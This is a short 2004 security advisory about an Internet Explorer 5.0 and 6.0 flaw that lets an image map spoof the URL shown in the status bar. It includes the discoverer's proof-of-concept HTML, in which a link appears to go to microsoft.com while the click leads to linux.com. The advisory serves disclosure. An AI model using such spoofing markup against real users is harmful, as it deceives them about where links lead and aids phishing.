Sign up for the ITPro Today newsletter
Stay on top of the IT universe with commentary, news analysis, how-to's, and tips delivered to your inbox daily.
ImageMap URL Spoof Vulnerability in Microsoft Internet Explorer
A vulnerability in IE 5.0 and 6.0 could let a potential attacker spoof the URL displayed in the lower left corner of the browser window.
Ken Pfeil
May 20, 2004
1 Min Read
Reported May 18, 2004, by PaulKurczaba
VERSIONS AFFECTED
DESCRIPTION
A vulnerability in IE 5.0 and 6.0 could let a potentialattacker spoof the URL displayed in the lower left corner of the IE window byusing a specially coded image map.
DEMONSTRATION
The discoverer posted the following code asproof of concept and has made a demonstration available on his Web site.
< AHREF="http://www.microsoft.com/">
< map name="FPMap0">
< area coords="0, 6, 151, 32" shape="rect"href="http://www.linux.com">
< img SRC="http://www.kurczaba.com/images/0405132-graphic2.gif"WIDTH="156" HEIGHT="38" border="0"usemap="#FPMap0">
VENDOR RESPONSE
Microsoft hasn'treleased a fix or bulletin that addresses this vulnerability.
CREDIT
Discovered by Paul Kurczaba.
Read more about:
MicrosoftAbout the Author(s)
You May Also Like
.jpg?width=700&auto=webp&quality=80&disable=upscale)
.jpg?width=700&auto=webp&quality=80&disable=upscale)